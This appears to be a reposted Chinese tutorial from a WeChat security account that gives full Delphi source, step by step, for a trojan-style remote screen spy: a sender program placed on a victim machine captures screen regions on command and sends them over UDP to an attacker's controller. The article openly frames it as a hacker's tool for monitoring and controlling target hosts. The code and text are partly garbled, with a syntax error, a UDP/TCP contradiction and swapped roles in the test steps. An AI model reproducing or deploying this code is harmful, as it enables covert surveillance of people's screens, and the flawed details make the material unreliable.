查看原文
其他

基于 Delphi 的木马浅析

计算机与网络安全 计算机与网络安全 2022-06-01

一次性进群,长期免费索取教程,没有付费教程。

教程列表见微信公众号底部菜单

进微信群回复公众号:微信群;QQ群:16004488


微信公众号:计算机与网络安全

ID:Computer-network

黑客们经常使用一些系统监控工具对目标计算机进行监视,它不仅监视目标计算机重启、关机等操作,还对目标主机日常操作进行设置。要想完全控制目标主机,就应先对其进行监控。本文将介绍通过UDP协议来实现远程监视屏幕的方法,这里使用的不是TCP/IP协议。


UDP(User Datagram Protocol,用户报文协议)是Internet上广泛采用的通信协议之一。它是一种非连接的传输协议,虽然其没有确认机制,可靠性不如TCP,但其效率非常高,适合用于远程屏幕监视。同时,UDP控件不区分服务器端和客户端,只区分发送端和接收端,编程较为简单,可选用UDP协议,使用Delphi提供的TNMUDP控件。


一、实现过程


远程监视屏幕是黑客入侵时所用的工具的一个重要功能,它通常由一个客户端和服务端组成,当目标主机上运行服务端程序时,可使用客户端程序来实现远程监视其屏幕。这里需要使用Delphi语言编写一个装在受控机上发送端程序VClient.exe和一个在主控机上接收端程序VServer.exe。其中VServer.exe指定要监视的受控机的IP地址和在受控机屏幕上抓取区域的大小和位置,并发出屏幕抓取指令给VClient.exe;当VClient.exe得到指令后在受控机屏幕上选取指定区域,生成数据流将其发回主控机,并在主控机上显示抓取区域的BMP图像。


由以上过程可以看出,该方法有两个关键所在:一是如何在受控机上进行屏幕抓取,二是如何通过TCP/IP协议在两台计算机间传输数据。

二、编写发送端程序


在了解远程监视屏幕的具体实现过程后,即可编写发送端程序。具体操作步骤如下。


步骤1:在Delphi中新建一个Name属性为Client的Delphi工程,加入TNMUDP控件,并将其Name属性设为CUDP。


步骤2:将LocalPort属性设为1433,以便让控件CUDP监视受控机的1433端口,当有数据发送到该口时,就会触发CUDP控件中OnDataReceived事件。


步骤3:将RemotePort属性设为1455之后,这样当控件CUDP发送数据时,就会将数据发到主控机的1455端口。


步骤4:在implementation后面加入变量定义如下。


const BufSize=2047;//发送每一条数据的缓冲区大小

var

BmpStream:TMemoryStream;

LeftSize:Longint;// 发送每一条数据后剩余的字节数


步骤5:为Client的OnCreate事件添加相应的动作代码,添加的代码如下。


procedure TClient.FormCreate(Sender: TObject);

begin

BmpStream:=TMemoryStream.Create;

end;


步骤6:为Client的OnDestroy事件添加如下的动作代码。


procedure TClient.FormDestroy(Sender: TObject);

begin

BmpStream.Free;

end;


步骤7:为控件CUDP的OnDataReceived事件添加如下的动作代码。


procedure TClient.CUDPDataReceived (Sender: TComponent;

NumberBytes: Integer; FromIP: String);

var

CtrlCode:array[0..29] of char;

Buf:array[0..BufSize-1] of char;

TmpStr:string;

SendSize,LeftPos,TopPos,RightPos,BottomPos:integer;

begin

CUDP.ReadBuffer(CtrlCode,NumberBytes);//读取控制码

if CtrlCode[0]+CtrlCode[1]+CtrlCode[2]+CtrlCode[3]='show' then

begin //控制码前4位为show,表示主控机发出了抓屏指令

if BmpStream.Size=0 then //没有数据可发,必须截屏生成数据

begin

TmpStr:=StrPas(CtrlCode);

TmpStr:=Copy(TmpStr,5,Length(TmpStr)-4);

LeftPos:=StrToInt(Copy(TmpStr,1,Pos(':',TmpStr)-1));

TmpStr:=Copy(TmpStr,Pos(':',TmpStr)+1,Length(TmpStr)  -Pos(':',TmpStr));

TopPos:=StrToInt(Copy(TmpStr,1,Pos(':',TmpStr)-1));

TmpStr:=Copy(TmpStr,Pos(':',TmpStr)+1,Length(TmpStr)-Pos(':',TmpStr));

RightPos:=StrToInt(Copy(TmpStr,1,Pos(':',TmpStr)-1));

BottomPos:=StrToInt(Copy(TmpStr,Pos(':',TmpStr)+1,Length(TmpStr)-Pos':',TmpStr)));

ScreenCap(LeftPos,TopPos,RightPos,BottomPos); //截取屏幕

end;

if LeftSize>BufSize then SendSize:=BufSize

else SendSize:=LeftSize;

BmpStream.ReadBuffer(Buf,SendSize);

LeftSize:=LeftSize-SendSize;

if LeftSize=0 then BmpStream.Clear; //清空流

CUDP.RemoteHost:=FromIP; // FromIP为主控机IP地址

CUDP.SendBuffer(Buf,SendSize); //将数据发到主控机的1455端口

end;

end;


步骤8:上述ScreenCap是自定义函数,其作用是截取屏幕指定区域,其具体代码如下。


procedure TClient.ScreenCap(LeftPos,TopPos, RightPos,BottomPos:integer);

var

RectWidth,RectHeight:integer;

SourceDC,DestDC,Bhandle:integer;

Bitmap:TBitmap;

begin

RectWidth:=RightPos-LeftPos;

RectHeight:=BottomPos-TopPos;

SourceDC:=CreateDC('DISPLAY','','',nil);

DestDC:=CreateCompatibleDC(SourceDC);

Bhandle:=CreateCompatibleBitmap(SourceDC, RectWidth,RectHeight);

SelectObject(DestDC,Bhandle);

BitBlt(DestDC,0,0,RectWidth,RectHeight,SourceDC, LeftPos,TopPos,SRCCOPY);

Bitmap:=TBitmap.Create;

Bitmap.Handle:=BHandle;

BitMap.SaveToStream(BmpStream);

BmpStream.Position:=0;

LeftSize:=BmpStream.Size;

Bitmap.Free;

DeleteDC(DestDC);

ReleaseDC(Bhandle,SourceDC);

end;


步骤9:最后将新创建的工程保存为C:VClientClnUnit.pas和C:VClientVClient.dpr,并编译。至此,VClient.exe文件的编制就完成了。


三、编写接收端程序


在发送端文件编写完毕后,就可以开始编写接收端VServer.exe文件了。具体的操作步骤如下。


步骤1:新建一个默认窗体的Name属性为Server的Delphi工程,并加入TNMUDP控件,Name属性设为SUDP。


步骤2:将LocalPort属性设为1455,让控件SUDP监视主控机的1455端口,当有数据发送到该口时,触发控件SUDP的OnDataReceived事件。


步骤3:RemotePort属性设为1433,当控件SUDP发送数据时,将数据发到受控机的1433端口。再在其中加入如下的控件,并设置相应属性。


Image1控件,并将Align属性设为alClient。

Button1控件,并将Caption属性设为“截屏”。

Label1控件,并将Caption属性设为“左:上:右:下”。

Label2控件,并将Caption属性设为“受控机IP地址”。

Edit1控件,并将Text属性设为“0:0:100:100”。

Edit2控件,并将Text属性设为“127.0.0.1”。


步骤4:在implementation后面加入如下变量定义。


const BufSize=2047;

var

RsltStream,TmpStream:TMemoryStream;


步骤5:为Server的OnCreate事件添加如下的动作代码。


procedure TServer.FormCreate(Sender: TObject);

begin

RsltStream:=TMemoryStream.Create;

TmpStream:=TMemoryStream.Create;

end;

步骤6:为Client的OnDestroy事件添加动作代码,添加的动作代码如下。

procedure TServer.FormDestroy(Sender: TObject);

begin

RsltStream.Free;

TmpStream.Free;

end;

步骤7:为控件Button1的OnClick事件添加如下的动作代码。

procedure TServer.Button1Click(Sender: TObject);

var ReqCode:array[0..29] of char;ReqCodeStr:string;

begin

ReqCodeStr:='show'+Edit1.Text;

StrpCopy(ReqCode,ReqCodeStr);

TmpStream.Clear;

RsltStream.Clear;

SUDP.RemoteHost:=Edit2.Text;

SUDP.SendBuffer(ReqCode,30);

end;


步骤8:为控件SUDP的OnDataReceived事件添加如下的动作代码。


procedure TServer.SUDPDataReceived(Sender: TComponent; NumberBytes: Integer;  FromIP: String);

var ReqCode:array[0..29] of char;ReqCodeStr:string;

begin

ReqCodeStr:='show'+Edit1.text;

StrpCopy(ReqCode,ReqCodeStr);

SUDP.ReadStream(TmpStream);

RsltStream.CopyFrom(TmpStream,NumberBytes);

if NumberBytes< BufSize then // 数据已读完

begin

RsltStream.Position:=0;

Image1.Picture.Bitmap.LoadFromStream(RsltStream);

TmpStream.Clear;

RsltStream.Clear;

end

else

begin

TmpStream.Clear;

ReqCode:='show';

SUDP.RemoteHost:=Edit2.Text;

SUDP.SendBuffer(ReqCode,30);

end;

end;


步骤9:将创建的工程保存为C:VServerSvrUnit.pas和C:VServerVServer.dpr,并对其进行编译。


四、测试程序


在通常情况下,在程序编写完成之后,需要测试编写的程序是否可以实现特定的功能。具体测试方法:在目标计算机中运行VServer.exe程序;选择一台计算机作为主控机,运行VClient.exe并将“受控机IP地址”(即Edit2的内容)设为受控机IP地址,看能否实现截屏。

微信公众号:计算机与网络安全

ID:Computer-network

【推荐书籍】

您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存